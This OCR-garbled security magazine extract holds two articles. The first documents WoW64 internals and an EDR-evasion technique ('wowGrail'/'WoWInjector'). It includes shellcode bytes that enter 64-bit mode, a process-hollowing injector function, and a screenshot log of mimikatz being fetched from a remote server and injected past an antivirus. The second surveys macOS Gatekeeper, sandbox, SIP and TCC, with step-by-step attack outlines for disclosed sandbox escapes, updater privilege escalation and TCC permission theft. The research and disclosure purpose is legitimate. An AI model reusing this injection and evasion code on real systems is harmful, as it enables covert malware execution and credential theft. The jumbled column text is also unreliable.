off_6B1036B8	dq	offset	Thunk4ArgSpSpSpN
off_6B1036C0	dq	offset	QuerySystemTime
off_6B1036C8	dq	offset	GetCurrentProces
off_6B1036D0	dq	offset	ReadWriteFile 💡
off_6B1036D8	dq	offset	DeviceIoctlFile
off_6B1036E0	dq	offset	RemoveIoCompleti
off_6B1036E8	dq	offset	WaitForMultiple(
off_6B1036F0	dq	offset	WaitForMultiple(
off_6B1036F8	dq		CpupReturnFromSi
	dq	offset	ThunkNone ;

- 1. The latest function CpupReturnFromSimulatedCode is the first executed callback function when the 32-bit thread jumps back to 64-bit. When this function is called, it's used to take a snapshot of current thread status and pass 32-bit system interrupts to the WoW64 translator.
- 2. After CpupReturnFromSimulatedCode finishes its job and snapshots the 32-bit thread current status, it will be followed by the first function. TurboDispatchJumpAddressEnd will simulate 32-bit system calls by invoking the translator function wow64!Wow64SystemServiceEx with the 64-bit calling convention. It will then fetch the simulation return value from register Rax, restore the 32-bit thread status from the latest snapshot, and lastly jump back to 32-bit programs and resume running.

```
JumpAddressEnd ; DATA XREF: ...
Index = 0
State ; DATA XREF: ...
eloadState ; DATA XREF: ...
ISp ; DATA XREF: ...
 ; DATA XREF: ..
 ReloadState ; DATA XREF: ...
 SpNSp ; DATA XREF: ...
 ISp ; DATA XREF: ...
 SpReloadState ; DATA XREF: ...
 NSp ; DATA XREF: ...
 DNSpReloadState ; DATA XREF: ...
 oNSp ; DATA XREF: ...
ISp ; DATA XREF: ...
 sorNumber ; DATA XREF: ....
 bjects ; DATA XREF: ...
 jects32 ; DATA XREF: ...
 ulatedCode ; DATA XREF: ...
Index: 32
```

# NTAPI TRAMPOLINE

We just roughly discuss the creation flow of wow64 processes. The following part is the implementation of interrupt simulateor from 32-bit to 64-bit.

Here we use NtOpenProcess as a sample.

ntdll!NtOpenPro	<u>cess:</u>				
77061760 b82600000	mov	eax,	26h		
77061765 baa0620777	mov	edx,	offset	ntdll!Wow64SystemServiceCall	(770762a0)
7706176a ffd2	call	edx			
7706176c c21000	ret	10h			
7706176f 90	nop				

In 32-bit mode, most Win32 APIs will finally use exported APIs of ntdll.dll to send requests to the kernel. As many researchers know, in 32-bit mode, Windows reads register Eax as the syscall number. All the arguments should be place on the top of the current stack, and system interrupts can then jump into the system kernel.

However, if a 32-bit program directly sends an interrupt to the native 64-bit system, the API requests will definitely fail. For example, the arrangement in memory of the 32-bit or 64-bit data structure, and the mismatch of calling conventions between x86 and x64.

Therefore, there's a gadget named WoW64SystemServiceCall (exported from ntdll.dll) to replace direct syscall interrupts, and which is used as a gate to deal with all the issues between 32-bit and 64-bit we just talked about.

Address	Bytes	Opcode	
wow64cpu.dll+6000	EA 09600277 3300	-jmp	0033:wow64cpu.dll+6009
wow64cpu.dll+6007	00 00	add	[rax],al
wow64cpu.dll+6009	41 FF A7 F8000000	jmp	qword ptr [r15 + 000000F8]

Inside the WoW64SystemServiceCall, at wow64cpu.dll+6000, a far jump (0xEA) can be used to modify the CS segment from 0x23 to 0x33, and that makes the Intel CPU parse those machine codes from register Eip/Rip in an x64 Instruction set.

At the same time, we retrieved the 64-bit registers to use. The trick of modifying the CS segment, to change the disassemble mode of an Intel CPU, is the well-known method called Heaven's Gate. Note that there's 3 different mode of CS segment:

- 1. 64-bit (Native) = 0x33
- 2. 32-bit (WoW64) = 0x23
- 3. 32-bit (Native) = 0x1B

As mentioned before, register r15 point to the function table TurboThunkDispatch. At wow64cpu.dll+6009 r15+0xF8 point to the last function of the table: CpupReturnFromSimulatedCode.

# CpupReturnFromSimulatedCode

CpupReturnFromS	imulate	lCode :
	xchg	rsp,
	mov	r8d,
		r14,
	mov	
	mov	_
	lea	r11,
		[r13
	mov	
		[r13-
	mov	[r13∙
	pushfq	-
	рор .	
	 mov	[r13-
; Exported entr	<b>y 9.</b> 1	
	public	Turbol
TurboDispatchJu	ImpAddres	ssStar
	mov	ecx,
	shr	ecx,
	imn	

CpupReturnFromSimulatedCode is the We can then use mov r14, Rsp to recall the first executed callback function when the 64-bit stack on r14 in the end WoW64 layer 32-bit thread jumps back to 64-bit. At the (and it will be used again when launching beginning, it snapshots the current thread another 32-bit system interrupt). register statuses into 32-bit thread context Next. (dereferencing the pointer from register funtion will be used to choose the next r13).

An interesting thing here is, there are at number (Rax). The upper 2 bytes of the least two stacks in the memory of the syscall number should be zero, so the WoW64 process. One is used for 32-bit result of shr ecx, 10h will get the element program normal use; The other one is a index (Rcx) of TurboThunkDispatch, which standalone and only used by the 64-bit should also be zero. mode thread (inside the WoW64 layer) to execute 64-bit native Win32 APIs.

Thus, at the begin of function one can use xchg Rsp, r14 to exchange the currently function table TurboThunkDispatch. used stack from the 32-bit program stack to the 64-bit stack. This 64-bit stack will be held until the current simulation is done.

```
; CODE XREF:
                 : DATA XREF:
     r14
     [r14]
     3Ch], r8d
     48h], r14d
     [r14+4]
     20h], edi
      24h], esi
     28h], ebx
     38h], ebp
    +44h], r8d
    ispatchJumpAddressStart
    DispatchJumpAddressStart
                 ; DATA XREF:
     eax
     1 Øh
qword ptr [r15+rcx*8]
```

TurboDispatchJumpAddressStart destination up to the current 32-bit syscall

Thus. in most situations. the destination should be the first function, TurboDispatchJumpAddressEnd, of the TurboDispatchJumpAddressEnd will simulate 32-bit system calls by invoking the translator function wow64!Wow64SystemServiceEx in the 64-bit calling convention to get the simulation return value from register Rax and then jump back to restoreStatus to resume the 32-bit program.

; Exported entry 8. 1	urboDispatchJumpAd	dressEnd
public TurboDispatchJumpAddres	;	ddressEnd CODE XREF: RunSimulatedCode+26B↓j RunSimulatedCode+31B↓j DATA XREF:
mov	ecx, eax rdx, r11	
call mov jmp	cs:imp_Wow64Sys [r13+34h], eax restoreStatus	temServiceEx

In above picture, we can see that Wow64SystemServiceEx is a native 64-bit function, and its usage follows x64 calling conventions. Its first argument is register Rcx, and the second one is Rdx. The 32-bit syscall number is placed on the first argument, and the start of 32-bit arguments on the stack (as known as va\_start in C/C++) is placed on the second argument.

After that, we just invoke wow64! Wow64SystemServiceEx, and it will translate our 32-bit request into a 64-bit interrupt, execute, and set the result into register Rax.

restoreStatus: btr	; CODE XREF: RunSimulatedCode+167↓j dword ptr [r13-80h], 0
jb	short loc_6B10168E
;6:asm { jmp	<pre>fword ptr [r14] }</pre>
mov	edi, [r13+20h]
mov	esi, [r13+24h]
mov	ebx, [r13+28h]
mov	ebp, [r13+38h]
mov	eax, [r13+34h]
mov	r14, rsp
mov	dword ptr [rsp+0A8h+var_A8+4], 23h ; '#'
mov	r8d, 2Bh ; '+'
mov	ss, r8d
mov	r9d, [r13+3Ch]
mov	dword ptr [rsp+0A8h+var_A8], r9d
mov	esp, [r13+48h]
jmp	fword ptr [r14]

In the sub-program restoreStatus (above) it will fetch 32-bit thread status from the snapshot, and get recovered to the original state of the first step in WoW64 layer.

Then, use another far jump back to 32-bit program and set the CS segment back to 0x23. This causes the Intel CPU to treat the following machine code as 32-bit code.

# THE WoW GRAIL: ABUSING THE TRANSLATOR

# Building a New Path Back to Heaven

Previously, we have shown that there's an important 64-bit function, WoW64SystemServiceEx, embedded inside wow64.dll (64-bit native DLL). It simulates any 32-bit request, and is easy to use.

Just give 32-bit syscall number information and a 32-bit argument list to WoW64SystemServiceEx. It will translate it, then execute all the system requests in 64bit mode. It's a graceful trick to bypass all the user-land based HIPS or EDR solutions, because most user-land hooks of HIPS or EDR will be installed on the entry of the 32-bit NTAPI by inline hooking – not on the WoW64 layer.

However, the first challenge we meet immediately is: how do we get the 64-bit address of WoW64SystemServiceEx under pure 32-bit mode?

As mentioned before, r15 points to the function table TurboThunkDispatch, and the first function of it fortunately is the pointer of function TurboDispatchJumpAddressEnd.

We also know there's a far call instruction to invoke Wow64SystemServiceEx right in the function TurboDispatchJumpAddressEnd, so it's an easy thing to get the pointer of Wow64SystemServiceEx if we know where the TurboDispatchJumpAddressEnd is.

8	<pre>#pragma section(".text")</pre>
9	declspec(allocate(".text")) char payload[] = (
10	// enter 64 bit mode
11	"\x6a\x33\xe8\x00\x00\x00\x00\x83\x04\x24\x05\xcb
12	
13	// lookup wow64!Wow64SystemServiceEx (64bit DLL)
14	"\x48\x31\xc9" // xor rcx, rcx
15	"\x49\x8B\x07" // mov rax, [r15]
16	"\x48\x8D\x40\x05" // lea rax, [rax+05]
17	"\x8B\x48\x02" // mov ecx, [rax+02]
18	"\x48\x8D\x40\x06" // lea rax, [rax+06]
19	"\x01\xC1" // add ecx, eax
20	"\x48\x8B\x01" // mov rax, [rcx]
21	
22	// save \$rax value back to the \$value variable
23	"\x8B\x7C\x24\x04" // mov edi, [esp+04]
24	"\x48\xAB" // stosq
25	
26	// exit 64 bit mode
27	"\xe8\x00\x00\x00\xc7\x44\x24\x04\x23\x00\x00
28	);
29	auto getPtr_Wow64SystemServiceEx = (void (cdecl*)(uin

In line 11 of the source code (above), there's a shellcode using x86 instruction retf to change the current CS segment to 0x33. After entering heaven's gate, it causes lines 14-27 of the source code to be treated as 64-bit assembly by the Intel CPU.



In lines 14-20 of the source code, we can find the first pointer of r15. It should be the address of TurboDispatchJumpAddressEnd. Read the destination from the x86 call instructions inside TurboDispatchJumpAddressEnd, and now we get the 64-bit pointer of Wow64SystemServiceEx. We can then use x86 instruction stosq to save the 64-bit pointer into the variable pass from the caller.

In line 27 of source code, the shellcode makes the CS segment change back to 0x23, run as 32-bit thread, and leave the function. The pointer of Wow64SystemServiceEx can now be used to simulate any 32-bit syscall without the old path from 32-bit ntdll.dll.



Confirm the payload in the line 78-87 of source code (above): prepare syscall number, and 32-bit argument list on Rcx and Rdx. Then enter 64-bit mode, use xchg r14, Rsp switching current used stack to 64-bit stack. Next, invoke the pointer of wow64!Wow64SystemServiceEx, use xchg r14, Rsp to switch the current stack to 32-bit, and leave 64-bit mode.

Just abusing the payload as a gadget to launch 64-bit interrupts allows us to easily bypass all the user-land hooks with just one gadget.



We use the classic malware technique Process Hollowing (RunPE) (above) and all the sensitive Win32 APIs have been built into our new path to heaven.



In our experiment, this method was robust enough to work against the fully updated HIPS protection of ESET NOD32. This technique has been release under the Github aaaddress1/wowGrail · GitHub .

rocess Explorer - Sysinternals: w	ww.sysinternals.com [AAADDRESS17
Options View Process Find Us	sers Help
2 🖪 🗉 🧮 🚳 🚰 🕺 🐴	
SS	Window Title
explorer.exe	Program Manager
SecurityHealthSystray.exe	Commond Dromat
conhost.exe	Command Prompt
procexp64.exe	Process Explorer - Sysinternals:
calc.exe	叮偭忤
	<
sage: 54.76% Commit Charge:	49.75% Processes: 92 Physical Usage
A	
Antivirus	
on:	14.0.22.0
il update:	4/23/2021 3:36:46 PM
ıl update: ıl check for updates:	4/23/2021 3:36:46 PM 4/23/2021 3:36:46 PM

# WoWINJECTOR: ONE GADGET TO TAKE OVER THE HELL

The 32-bit Thread Snapshot

restoreStatus: btr	; CODE XREF: RunSimulatedCode+167↓j dword ptr [r13-80h], 0 short los 68101685
jb ;6:asm { jmp mov mov mov mov mov mov mov mov mov mov	<pre>short loc_6B10168E fword ptr [r14] } edi, [r13+20h] esi, [r13+24h] ebx, [r13+28h] ebp, [r13+38h] eax, [r13+34h] r14, rsp dword ptr [rsp+0A8h+var_A8+4], 23h ; '#' r8d, 2Bh ; '+' ss, r8d r9d, [r13+3Ch] dword ptr [rsp+0A8h+var_A8], r9d esp, [r13+48h] fword ptr [r14]</pre>

We've previously shared about the sub- Regarding point 2, an attacker can just program restoreStatus. It will fetch 32-bit leak the address from one of the 4 blocks. thread status from the snapshot above, and addresses of the other 3 blocks will and get recovered to the original state be predicted, e.g. The 64-bit TEB always when leaving 64-bit thread mode during precedes the corresponding 32-bit TEB the WoW64 layer.

The most interesting part is, the address of the 32-bit thread context is predictable. Moreover, we've found that address of the Thanks to @waleedassar leaving a note in 32-bit thread context is stored at the fixed his blog (pastebin.com/8ZQa2heh) about offset 0x1488 on the TEB64. Thus, if we the creation of WoW64 processes, from can leak the address of PEB32, we can also which we learned:

- 1. There are 4 definite environment blocks in a WoW64 process: TEB64, TEB32, PEB64, PEB32 (ordinal by address, lower to higher).
- 2. Kernel call nt!MiCreatePebOrTeb allocates a large space used for keeping the 4 blocks.
- 3. From the start of 32-bit TEB, the address of the corresponding 64-bit TEB can be found at offset 0xF70.

by two pages (AddressOf TEB64=TEB32 -0x2000).

get the address of TEB64 (because of the 4 blocks in the same memory region) and then we get the address of 32-bit thread context.

As shown in the next screenshot, we designed a hollowing function used to do Process Hollowing by injecting the 32bit thread snapshot. Using the Win32 API CreateProcess and GetThreadContext, we can get the initial thread state of the child process. Registering Ebx on a newborn thread, the pointer of PEB32 is always retained, so it's not difficult to leak the address of the 32-bit thread context.

24	<pre>uint32_t getShadowContext32(HANDLE hProcess, uint32_t PEB) {</pre>
25	uint32_t teb32 = PEB + 0x3000, teb64 = teb32 - 0x2000, p
26	ReadProcessMemory(hProcess, (LPCVOID)(teb64 + 0x1488), 8
27	return ptrCtx + 4;
28	}
29	
30	<pre>void hollowing(const PWSTR path, const BYTE* shellcode, DWOR</pre>
31	<pre>wchar_t pathRes[MAX_PATH] = { 0 };</pre>
32	<pre>PROCESS_INFORMATION PI = { 0 };</pre>
33	<pre>STARTUPINFOW SI = { 0 };</pre>
34	CONTEXT $CTX = \{0\};$
35	<pre>memcpy(pathRes, path, sizeof(pathRes));</pre>
36	
37	CreateProcessW(pathRes, NULL, NULL, NULL, FALSE, BELOW_N
38	<pre>size_t shellcodeAddr = (size_t)VirtualAllocEx(PI.hProces</pre>
39	WriteProcessMemory(PI.hProcess, (void*)shellcodeAddr, sh
40	
41	CTX.ContextFlags = CONTEXT_FULL;
42	GetThreadContext(PI.hThread, (&CTX));
43	<pre>uint32_t remoteContext = getShadowContext32(PI.hProcess,</pre>
44	
45	WriteProcessMemory(PI.hProcess, LPVOID(remoteContext + o
46	WaitForSingleObject(PI.hProcess, INFINITE);
47	}

In the next step, all we need to do is allocate a new space to keep shellcode, as well as control the register Eip to shellcode.

11 Jun		
	msgbox	wowInjector
.## ^ ##. "A La ## / \ ## /*** B ## \ / ## > '## v ##' V	OW64\cmd.e ad from ht > arsenal. size = 104 d shellcod mode tz 2.2.0 ( Vie, A L'A enjamin DE https://b incent LE	tp://arsenal 30cm.tw:80 [ 5257] done. e okay. x86) #19041 mour" - (oe. LPY `gentilk log.gentilki
mimikatz #		

BOOM! Without any sensitive APIs to control the program counter of a 32-bit thread, we can inject a malicious payload like mimikatz into a new process under the full updated HIPS of AVST.









Sandboxing on macOS was introduced 13 years ago, but Apple did not leave it at that. Step by step, additional restrictions and new protection measures were added. Since the release of macOS Catalina in 2019, even non-sandboxed apps need to deal with sandbox-like restrictions: all apps now need to ask permission to access sensitive files. like those in the user's documents folder. Features such as the camera and geolocation already needed user approval. This system of usercontrolled permissions is known as Transparency, Consent & Control (TCC). Each new security measure like this will also mean the introduction of new security boundaries, with entirely new classes of vulnerabilities. Many parts of the system must be re-examined to check for these vulnerabilities. For example, malware can now try to attack apps to "steal" the permissions granted by the user to that app. Apple has taken steps to allow apps to defend themselves against this, such as the hardened runtime. Ultimately, however, it is up to the developer of an app to safeguard its permissions. Many developers are not aware of this new responsibility. To make matters worse, Apple's documentation and APIs for these features are not as clear and easy to use as they should be. We will start with an overview of local security measures on macOS Big Sur. Then, in the second part, we will show some vulnerabilities we found in software to evaluate the effectiveness of these measures. These vulnerabilities allowed stealing TCC permissions, sandbox escapes and privilege escalation.

# ABSTRACT

# LOCAL SECURITY ON macOS

## Gatekeeper

In Mac OS X Lion (10.7, released in 2011), application is updated to fix the vulnerability Apple introduced code signing. This is a method of adding a cryptographic signature and exploit that. to an executable with prevents tampering with any part of the file. Signatures are (usually) generated using a certificate issued by Apple to a paid member of the Apple Developer Program, which also includes a developer identifier to indicate which developer account signed it.

Each signed binary includes a list of application. entitlements. These are mainly used to give the process more (or sometimes less) permissions. For example, a process accepting incoming XPC connections can check the entitlements of the connecting process to decide if it is authorised to perform a specific action.

Any developer can add these entitlements while signing, but most of them are private and are only accepted on Apple's own executables.

If an application needs a specific powerful entitlement, then it is common to separate the part that needs to use that entitlement into a separate XPC service. Then the main application can ask the service to perform the operation. This can make it much harder to abuse that entitlement when a vulnerability is found in the application.

One problem with the way entitlements are used is that Apple rarely revokes code signatures, in practice only for malware. This means that if an application with a powerful entitlement had a vulnerability, then it will remain exploitable even if the

as malware could download an old copy

Each time a binary is started, the code signature is verified. Embedded resources (such as images and frameworks) can also be signed. A hash is computed for each signed resource and placed in the CodeResources file. The hash of this file is included in the code signature of the main

Checking only the binary is known as a shallow code signing check. It is also possible to perform a deep code signing check, which checks all resources. This is very slow for large applications, as it needs to compute a hash of every file.

When an application has been downloaded from the internet, the downloading tool can add a guarantine flag to the application. If this flag is present, then a deep code signing check is performed and the user must confirm running the application.

This is used to prevent users from opening an application which was pretending to be something else. A quarantine flag is also automatically added to all files created by a sandboxed application.

In macOS Mojave (10.14, released in 2018), Apple added the ability to notarise applications. To do that, the application must be signed, using the hardened runtime wand a copy must be uploaded to Apple, who can grant it a notarisation ticket.



# Seatbelt

In Mac OS X Leopard (10.5, released in The use of a programming language for 2007), Apple introduced sandboxing, the profile is used extensively for this known also as Seatbelt. In the kernel a profile: the entitlements of the process are hook has been added to each system call checked to change the restrictions that to check the sandboxing permissions of the are enforced. For example, the com.apple. calling process to determine if an operation security.network.server entitlement gives is allowed or not. an application the permission to start a network server, which is implemented in the sandboxing profile as:

The permissions of a process are determined based on a profile. These are (when (entitlement "com.apple.security. written in a Scheme-like programming network.server") language. For many of the internal services in macOS a custom profile is included to (allow network-inbound (local ip))) allow only the strictly necessary permissions for that service. Processes can sandbox The Mac App Sandbox also does themselves by calling sandbox\_init(), so a something else: it creates a new container daemon could perform some unsandboxed for the application. Each application setup before enforcing the sandbox. gets its own container in "/Library/ Containers/<bundleid>. These containers One special profile is the Mac App Sandbox contain a mix of symlinks to the real profile, included in application.sb. This directory and new directories specifically profile is enforced automatically and for that application.

immediately if the application has the com. apple.security.app-sandbox entitlement.

The hardened runtime is a set of extra restrictions mainly for making process injection more difficult. When a user attempts to run a quarantined application, macOS will check the notarization ticket. If it is notarised, then the user is asked if they want to allow it to run. If not, the user must perform additional steps to run it. See Figure 1 for the message when running a newly downloaded notarised application.

Figure 1: Running a newly downloaded application requires user approval.

The main use for this is to make sandboxing

# The Signed System Volume (SSV) was introduced in macOS Big Sur (11, released in 2020). In Catalina (10.15, released in 2019), the start-up disk was split into two volumes: system volume was for system files and held all user files, third-party applications, etc. Only when installing a new system

In Big Sur, Apple has taken this concept It then asks the service to install the even further. The system volume is now downloaded package. This way, the Administrator needs to enter their password cryptographically signed. For each file on the system volume, its SHA-256 hash is only once, to install the privileged helper tool on the first run. stored in the metadata of the file. These hashes are combined into a Merkle Tree. The privileged service should perform two The root hash of the Merkle Tree (the seal) checks that are critical for security: the is signed with a key from Apple. When XPC connection should originate from the reading a file from that volume, its hash is correct application and the update package verified against the tree to ensure it is not should be legitimate. If both checks are not modified. implemented correctly, privilege escalation is a possibility.

# VULNERABILITIES

for malware to persist.

Signed System Volume

Another app could ask the service to install In this section, we will cover a few different a malicious package, which would in most vulnerabilities to demonstrate how these cases mean privilege escalation. Although security mechanisms work in practice. it requires two vulnerabilities, in practice it happens quite regularly that both Privileged updaters vulnerabilities are present. The first check On some systems, the most active user could be bypassed if the code signing has a Standard user account instead of check is wrong (or even entirely missing) an Administrator account. For example, or if a process injection vulnerability exists machines used by children where only a in the application. The second check can parent uses the Administrator account. often be bypassed using a time-of-check/ Standard users are not allowed to make time-of-use (TOCTOU) vulnerability: the changes in /Applications. This creates package is checked and found to be an issue for installing updates: how can legitimate, but between the check and software that automatically updates itself installation it is changed to a malicious do that if a standard user account uses it? package.

for existing applications easier, as the Transparency, Consent & Control application gets full access to the new directories in its container, without being able to access files of other applications.

Note that these containers are not a subsystems, such as access to the camera, security restriction, and that the application can see the path to the container and ignore the container if it wants. It should not be confused with Docker containers or choose to allow or deny them. See Figure BSD jails.

# System Integrity Protection

System Integrity Protection (SIP) was introduced in OS X El Capitan (10.11, released in 2015). Most Macs will be used by a single user with administrative privileges. This means that obtaining the password for the current user (for example, by imitating

a password prompt) is enough to elevate permissions to root. The goal of SIP is to reduce the impact that only a privilege escalation to root can have.

For example, SIP restricts modifications to certain files, the loading of kernel/system extensions and process debugging. It is implemented using much of the same technology as sandboxing, essentially enforcing a global implicit sandboxing profile for all processes.

SIP also limits access to sensitive user-specific files. For example,

processes are not allowed to read files in "/Library/Mail unless they have specific entitlements, even for the root user. This also means that a process running as a user may have permissions that a different process running as root does not have.

Transparency, Consent & Control (TCC) was introduced in macOS Mojave. This is as a dynamic sandbox for privacy-sensitive location services, Documents folder, etc. Instead of a static sandboxing profile, the user can control these permissions and 2 for an example of this prompt.

The TCC daemon keeps track of what permissions the user has assigned per application. This is done based on the bundle identifier and the developer identifier of an application, which means that upgrading an application maintains its permissions.



Figure 2: The user controls whether an application can read from sensitive directories. Installing software updates quickly is important, especially for security-critical software such as browsers and PDF readers.

Some software has implemented a way to a system volume and data volume. The handle this: a separate service running as root is used to perform the installation. A mounted as read-only. The data volume separate service is installed as a privileged helper tool with a launch daemon configuration automatically starting it as update the system volume would be root. The application checks for updates, mounted as writable. This made it harder sees a new update is available and downloads it.



Figure 3: Vulnerabilities in privileged helper tools that could lead to privilege escalation.

# Adobe Acrobat DC

Adobe Acrobat DC was vulnerable, as found by Yebin Sun of Tencent Security Xuanwu Lab and described on https://rekken.github. io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Programto-Gain-Root-on-macOS-Silently/.

The code signing check was completely absent and symbolic links could be used to swap the update package between check and use. Adobe released a fix for this in May 2020.

However, both fixes were not sufficient, as first reported by Csaba Fitzl from Offensive Security. The code signing check was not implemented correctly.

One difficulty with a code signing check is that the process identifier (pid) is not safe: an application can open an XPC connection, send a request and then execute a different process while keeping its pid the same.

A check based on the pid has a chance of looking at the new process instead of the old one. The way that was used by Adobe

relied on the pid for the check, which meant it could be bypassed.

For the second part, only a check was added to see if the file was a symbolic link. Because the file was moved (not copied) it was possible to bypass the check by using a hardlink to the update file. Adobe released a second patch in August 2020.

We looked at it sometime later than Csaba, but before the fixes were released. When they were, it took only a short amount of time to adapt our exploit. In the code, it was visible that Adobe had started on the correct check for the XPC connection, but this was unfinished, and the function always returned true.

Adobe had also implemented a check that the package was a regular file with no additional references (so no hardlinks), but the package was still moved instead of copied. This made it possible to perform the following attack: the malicious application could open a file descriptor for the package file and then request the installation.

Open file descriptors remain valid if a file Open and save panels (CVE-2020is moved and its permissions are changed, 27900) even if the new permissions would no longer allow that application to open that file.

By using the open file descriptor and switching the contents from a legitimate package to a malicious package at the right moment, it was possible to use a malicious package and elevate privileges to root.

This is a race condition, however, we can cheat at this race: the log of the service is publicly readable, so we can swap the file immediately after reading the line that it has been verified.

Adobe is not the only large company with vulnerabilities in its privileged updater. Google Chrome, Microsoft Office AutoUpdate and Microsoft Teams have all had similar issues over the years.

What makes this issue even more dangerous is the fact that users on macOS are used to deleting an application to uninstall it. Unless a self-destruct mechanism is specifically implemented in the privileged helper tool, it will remain available, waiting for requests to install updates but never getting updated itself because the application that needs to initiate the update is gone.

A user who has used an application years ago may therefore still have a vulnerable privileged helper tool allowing privilege escalation in this way.

Open and save panels, in which users select a file to open or a place to save a file, are used often by any macOS user. These panels appear quite dull but have a surprisingly complicated implementation to deal with sandboxed applications. They form a critically important security boundary for the Mac App Sandbox.

The contents of a panel are drawn а different bv process called (openAndSavePanelService) which is unsandboxed and has access to all files, similar to an iframe in a website. Once the user has selected a file, the application's sandbox is extended to allow access to that file temporarily.

This makes use of the class NSRemoteView to receive the UI from the other process. This is an entirely private API, but the Objective-C runtime makes it possible to inspect the list of methods for all classes at runtime. In that list of methods, we found an interesting method named -[NSRemoteView snapshot:].

As the name suggests, this takes a snapshot of the view's contents and returns it as a bitmap to the application. See Figure 4 (next page) for an example where a sandboxed application obtains a snapshot.

When used for an open panel, it allowed a sandboxed application to obtain a directory listing for directories it does not have access to. Some files such as images show a preview of their contents which the app could also obtain. Apple has fixed this by adding a new authorization check to this function.

		< > III ~ E*	Applications	demo >	0	Q Search
		Applications	Desktop Documents Downloads	*		
• •	OpenPanelDem	Downloads	Movies	ь -		
	-,		Music Pictures	•		
	🕈 demo	0 Q. Search	Public			
Another Applications Denotes the applications Denotes the applications		Cancel Open				
		Cancel Open				Cancel Open
		Grab Open				

Figure 4: A sandboxed application obtains a screenshot of an open panel, with a listing of the user's files.

# System Preferences sandbox escape The most interesting application was (CVE-2020-10009)

Contrary to the iOS App Sandbox, the Mac App Sandbox profile allows fork() and exec, which inherit the sandbox of the parent. Attempting to perform an operation that is prohibited by the sandbox in most cases only results in a "permission denied" error result.

One exception for this is attempting to apply a sandbox configuration when an application is already sandboxed, which makes the kernel terminate the application.

This means that launching other processes from a sandboxed application works if those processes are not sandboxed. This works for command-line tools, but also for complete applications. To see what would happen, we launched all applications included in a default installation of macOS from a sandboxed application. This led to some interesting results.

System Preferences.app because this application was working fine. Even the security critical settings in the Security preference pane were working as usual. Inspecting the process tree in Activity Monitor showed why this was the case. Each of the preference panes in System Preferences is running in a separate XPC service, using the same NSRemoteView technology as the open panels to draw in the System Preferences window.

This is used even for third-party preference panes, which are not XPC services, but bundles. These are loaded by the legacyLoader XPC service, which translates from the old bundle-based preference pane API to the new NSRemoteView method.

While this was an interesting trick, it did not compromise the security of System Preferences yet. To do that, we noticed that System Preferences had creating a few files in the container of the sandboxed

meant that System Preferences was included resources are not considered resolving the path for these files relative to unless a Gatekeeper check is performed. the container of the sandboxed application.

The file com.apple.preferencepanes. usercache contained a list of the third-party preference panes installed by the user, likely so those do not need to be analysed on each launch. No validation was present on the paths in that file, which made it possible to perform the following attack:

- 1. Create new cache file with a preference pane using a bundle from our application.
- 2. Add a new alert for this preference pane.
- 3. Start System Preferences within the sandbox of this application.

The new alert added in step 2 meant that System Preferences would automatically open the malicious preference pane. Then, legacyLoader would be launched (an XPC As it happens, many video chat applications, service, so not in our sandbox) and it would load the bundle of the malicious preference pane, giving the application code execution outside of the sandbox.

This meant we had a sandbox escape. Apple fixed this in the macOS Big Sur release by adding a check to the main() function of System Preferences to exit if it is sandboxed.

# Electron apps with TCC

The TCC permissions of an application are tracked based on the bundle identifier and the developer identifier. Notably, the version of the application and the path to the application do not matter for TCC. Shallow code signing checks only look

application, including 3 cache files. This at the binary of the executable itself, any

The hardened runtime means that any included libraries and frameworks are also checked once they are used, but interpreted code that is in a file separate from the main executable is not checked.

Electron applications are built by combining a web application with a Chromium runtime. This means that most of the code is implemented in JavaScript in separate files. This allows the following attack to steal the TCC permissions that applies to all Electron applications:

- 1. Copy app to a writable location.
- 2. Replace JavaScript with malicious code.
- 3. Launch the modified app.
- 4. Use TCC permissions of the app.

including Microsoft Teams, Signal, Slack, Discord and Skype, use Electron for their desktop clients. This means that the chance of a user having given webcam and microphone access to at least one Electron application is very high.

As a result, malware that has infected a system can also obtain access to the webcam and microphone by exploiting one of those applications in this way.

Solving this issue using the existing code signing APIs is difficult. Performing a deep code signing check by the application on itself is insufficient: the resource could be modified after the check but before the use of the file. One way this could be addressed for Electron apps would be to embed a list of hashes for each JavaScript file in the could also be used as a sandbox escape. main executable and verifying those each time a resource is opened.

issues. Even if the application currently uses application is enough to escape the the hardened runtime, it is very likely that sandbox. a previous version exists that did not use it. By downloading an old version without the hardened runtime, setting a DYLD environment variable and then launching it, any application could be exploited to steal their TCC permissions. This is a design issue that is up to Apple to solve, for example, by not allowing downgraded applications to use TCC permissions.

## App process injection

Process injection is a way for an application to add code to a different application. Replacing frameworks or the JavaScript code of Electron apps are examples of doing this that have already been mentioned, but AccessUtility.pkg can execute arbitrary many other techniques exist. We have also demonstrated how process injection can be used to communicate with privileged helper tools and to steal TCC permissions.

During our research, we have reported two new process injection vulnerabilities to Apple in September and December 2020 that are currently still under investigation, To assess their impact, we investigated injection technique could be.

We found that both vulnerabilities could be used for privilege escalation to root and for bypassing SIP restrictions. One of them

The only details we can give for the sandbox escape is that injecting into any For non-Electron apps there are also design non-sandboxed process from a sandboxed

> For privilege escalation, we inject into an application that has a specific entitlement. Some applications have an entitlement allowing them to install packages signed by Apple without user approval. For example, Boot Camp Assistant.app. This is the entitlement com.apple.private. AuthorizationServices with the option system.install.apple-software.standarduser.

> This means we can install any Apple signed package by injecting into one of these applications. Ilias Morad found that the postinstall script of Apple's macOSPublicBeta code as root. See the writeup for CVE-2020-9854 https://a2nkf.github.io/ unauthd\_Logic\_bugs\_FTW/.

To bypass the filesystem restrictions for SIP, we abused the application macOS Update Assistant.app. This application was included on the beta installation image for macOS Big Sur and it has the entitlement so we are not able to share the full details. com.apple.rootless.install.heritable. This means that this process and any what the impact of a generic process subprocesses it starts are exempt from SIP for accessing files.

# CONCLUSION

Apple has added a lot of new security measures to macOS over the years, some of them bringing macOS closer to the security of iOS. Many weaknesses in these systems still exist.

Sandboxing is an important part of macOS security. The security of the iOS sandbox has received a lot of attention, which has often carried over to macOS. However, the higher layers of the sandboxing functionality on macOS have not gotten similar attention. This leaves a lot of unexplored attack surface, for example in AppKit.

TCC is used to bring the user-controlled permissions of mobile platforms to macOS, without enforcing the use of sandboxing on all applications. The security of this system depends on each application managing their permissions securely, as only a single vulnerable application with a TCC permission can allow malware to steal it. It also suffers from design issues making it easy to bypass in practice.

Process injection vulnerabilities have become devastating on macOS because they can be used to defeat many of these security measures, such as TCC, code signing and in some cases sandboxing. This is partly due to the assumption by Apple that process injection is not possible and that therefore they can give their own applications powerful entitlements. Sometimes these entitlements can be equivalent to running a process as root.

Want this space for your brand?

Contact us editorial@ hackihackinthebox.org



